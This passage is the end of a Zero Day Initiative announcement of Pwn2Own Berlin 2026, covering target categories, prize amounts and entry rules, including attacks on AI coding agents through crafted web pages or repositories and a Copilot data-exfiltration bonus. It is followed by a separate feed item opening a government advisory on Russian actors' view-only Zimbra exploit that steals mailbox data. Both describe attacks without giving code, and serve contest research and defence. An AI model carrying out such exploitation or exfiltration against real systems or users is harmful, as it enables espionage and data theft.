0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.</p><p class="">The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  </p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a> 
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#virtual">-- Virtualization</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#browser">-- Web Browser</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#entapps">-- Enterprise Applications</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#server">-- Servers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#eop">-- Local Escalation of Privilege</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#container">-- Containers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aidb">-- AI Database</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aicode">-- Coding Agents</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#ailocal">-- Local Inference</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#nvidia">-- NVIDIA</a>  </p>




  <p class="">Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do <em>not</em> go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for <a href="https://www.zerodayinitiative.com/about/benefits/" target="_blank">Platinum</a> status), a killer <a href="https://static1.squarespace.com/static/5894c269e4fcb5e65a1ed623/t/5b8993b321c67c67b886f506/1535742910114/trophy.jpg" target="_blank">trophy</a>, and a <a href="https://pbs.twimg.com/media/C6Z5iQQXEAEPQ0Q.jpg" target="_blank">pretty</a> <a href="https://pbs.twimg.com/media/DNhpw_xUEAEkEwG.jpg" target="_blank">snazzy</a> <a href="https://pbs.twimg.com/media/Cu-6uFSWcAEefBS.jpg" target="_blank">jacket</a> to boot.</p><p class="">Let's look at the details of the rules for this year's event.</p>





















  
  



<p><a data-preserve-html-node="true" name="virtual"></a>  </p>
<p><b data-preserve-html-node="true">Virtualization Category</b> </p>




  <p class="">Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.</p><p class="">There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target <em>and</em> obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="browser"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Web Browser Category</b></p>




  <p class="">While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="entapps"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Enterprise Applications Category</b></p>




  <p class="">Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.</p><p class="">This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just <a href="https://x.com/thezdi/status/2031496424488042681" target="_blank">patched</a> a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="server"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Server Category</b></p>




  <p class="">The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:</p>





















  
  














































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="eop"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Local Escalation of Privilege Category</b></p>




  <p class="">This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:</p>





















  
  














































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="container"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Container Category</b></p>




  <p class="">We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="aidb"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Database Category</b></p>




  <p class="">In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:</p>





















  
  














































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="aicode"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8bb9ea99-c1b3-4567-97cb-db2395131a77/Slide8.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="ailocal"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Local Inference Category</b></p>




  <p class="">We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:</p>





















  
  














































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/33770fe8-49c1-425f-83e5-2b141bd2f4e0/Slide9.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="nvidia"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The NVIDIA Category</b></p>




  <p class="">Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Conclusion</strong></p><p class="">The complete rules for Pwn2Own Berlin 2026 are found <a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank">here</a>. As always, we <strong>highly</strong> encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Berlin%202026%20Question" target="_blank">email</a> us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.</p><p class="">Be sure to stay tuned to this blog and follow us on <a href="https://www.twitter.com/thezdi" target="_blank">Twitter</a>, <a href="https://infosec.exchange/@thezdi" target="_blank">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative" target="_blank">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social" target="_blank">Bluesky</a> for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.</p><p class="">With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.</p>





















  
  














































  

    
  
    

      

      
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
